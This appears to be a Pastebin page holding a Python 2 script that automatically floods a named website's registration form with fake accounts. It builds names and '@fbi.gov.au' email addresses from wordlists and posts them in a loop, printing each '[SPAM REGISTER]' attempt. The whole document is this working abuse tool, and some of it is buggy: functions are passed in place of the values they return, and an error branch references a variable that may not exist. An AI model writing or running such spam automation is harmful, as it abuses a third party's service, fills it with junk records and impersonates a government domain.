Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- import requests
- from random import randint, choice
- from string import ascii_uppercase
- import string, sys, os, time
- RED = "\033[1;31;40m"
- WHITE = "\033[1;37;40m"
- GREEN = "\033[1;32;40m"
- CYAN = "\033[1;36;40m"
- PURPLE = "\033[1;35;40m"
- TAG = "\033[0m"
- def Wordlist(listWordlist):
- if listWordlist == 'post1':
- Word = '2.txt'
- elif listWordlist == 'post2':
- Word = '4.txt'
- elif listWordlist == 'single':
- Word = '1.txt'
- else :
- Word = ''
- print "INVALID WORDLIST"
- return Word
- def Post1():
- ListPost1 = open(Wordlist('post1'), "r")
- Content = ListPost1.read().splitlines()
- return Content
- def Post2():
- ListPost2 = open(Wordlist('post2'), "r")
- Content = ListPost2.read().splitlines()
- return Content
- def Single():
- ListSingle = open(Wordlist('single'), "r")
- Content = ListSingle.read().splitlines()
- return Content
- def Telpon():
- random = randint(0,12)
- return random
- def KTP():
- random = randint(0,16)
- return random
- def main():
- count = 0
- for ListPost2 in Post2():
- for ListPost1 in Post1():
- for ListSingle in Single():
- url = "http://www.borntocontrol.com/registration"
- Nama = ListPost2 + ListPost1
- Email = ListPost1 + ListSingle + "@fbi.gov.au"
- payload = {
- "alamat":"jalan kenanang mu 12 tahun yang lalu ya",
- "email":Email,
- "kota":"Jakarta",
- "ktp":KTP,
- "linux":"n",
- "nama":Nama,
- "submit":"",
- "telp":Telpon
- }
- headers = {}
- timeout = 3
- try:
- response = requests.request("POST", url, data=payload, headers=headers)
- time.sleep(0.5)
- count = count + 1
- print "{0}NO{1} : {2} | {3}[SPAM REGISTER]{4}".format(WHITE, TAG, count, RED, TAG)
- print "{0}SEND{1} : {2}{3}{4} | {5}{6}{7} ".format(WHITE, TAG, CYAN, Nama, TAG, PURPLE, Email, TAG)
- print "{0}STATUS{1} : {2}".format(WHITE, TAG,response.text)
- except:
- print "{0}NO{1} : {2} | {3}[SPAM REGISTER]{4}".format(WHITE, TAG, count, RED, TAG)
- print "{0}SEND{1} : {2}{3}{4} | {5}{6}{7} ".format(WHITE, TAG, CYAN, Nama, TAG, PURPLE, Email, TAG)
- print "%s[FAIL]%s : %s 404 Error %s \n" % (RED, TAG, RED, TAG)
- print "{0}STATUS{1} : {2}".format(WHITE, TAG,response.text)
- if __name__ == '__main__':
- try:
- main()
- except KeyboardInterrupt:
- print ' [Exit]'
- try:
- sys.exit(0)
- except SystemExit:
- os._exit(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement